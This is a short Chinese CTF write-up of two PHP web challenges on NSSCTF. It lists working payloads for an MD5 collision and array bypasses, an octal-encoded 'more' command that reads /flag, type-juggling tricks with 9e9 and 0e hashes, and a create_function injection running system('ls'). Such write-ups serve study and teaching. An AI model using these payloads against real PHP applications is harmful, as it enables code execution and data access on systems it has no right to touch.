找了两道题玩玩,也是学到一些东西
RCE但是没有完全RCE
md5碰撞,数组绕过
1 | http://node7.anna.nssctf.cn:28844/?md5_1=%4d%c9%68%ff%0e%e3%5c%20%95%72%d4%77%7b%72%15%87%d3%6f%a7%b2%1b%dc%56%b7%4a%3d%c0%78%3e%7b%95%18%af%bf%a2%00%a8%28%4b%f3%6e%8e%4b%55%b3%5f%42%75%93%d8%49%67%6d%a0%d1%55%5d%83%60%fb%5f%07%fe%a2&&md5_2=%4d%c9%68%ff%0e%e3%5c%20%95%72%d4%77%7b%72%15%87%d3%6f%a7%b2%1b%dc%56%b7%4a%3d%c0%78%3e%7b%95%18%af%bf%a2%02%a8%28%4b%f3%6e%8e%4b%55%b3%5f%42%75%93%d8%49%67%6d%a0%d1%d5%5d%83%60%fb%5f%07%fe%a2 |
1 | md5.3[]=1 |
题目的level2
1 | <?php |
Linux more 命令类似 cat ,不过会以一页一页的形式显示,更方便使用者逐页阅读,而最基本的指令就是按空白键(space)就往下一页显示,按 b 键就会往回(back)一页显示,而且还有搜寻字串的功能(与 vi 相似),使用中的说明文件,请按 h 。
语法
1 | more [-dlfpcsu] [-num] [+/pattern] [+linenum] [fileNames..] |
1 | more `echo "\057\0146\0154\0141\0147"` |
echo是用来将8进制转换为字符,more代替cat,学到了
了解过PHP特性吗
1 | <?php |
这道题涉及了很多的PHP特性,有些是我没见过的,收集一下。
计算科学计数法
php处理字符串时存在一个缺陷问题,如果字符串为“1e1”,本该是一个正常的字符串,但是php会将它认为是科学计数法里面的e;
1 | intval($_114) > 114514 && strlen($_114) <= 3 |
限制114的大小要大于114514长度小于3,传参9e9,在php中为9^9
其他
0e绕过md5弱比较
1 | QNKCDZO |
传的时候rev
数组绕过preg_match
空格可绕过”===”
1 | ?num[]=1&114=9e9 |
进入第二层
1 | <?php |
create_function
1 | shell=&nss=;}system('ls');/* |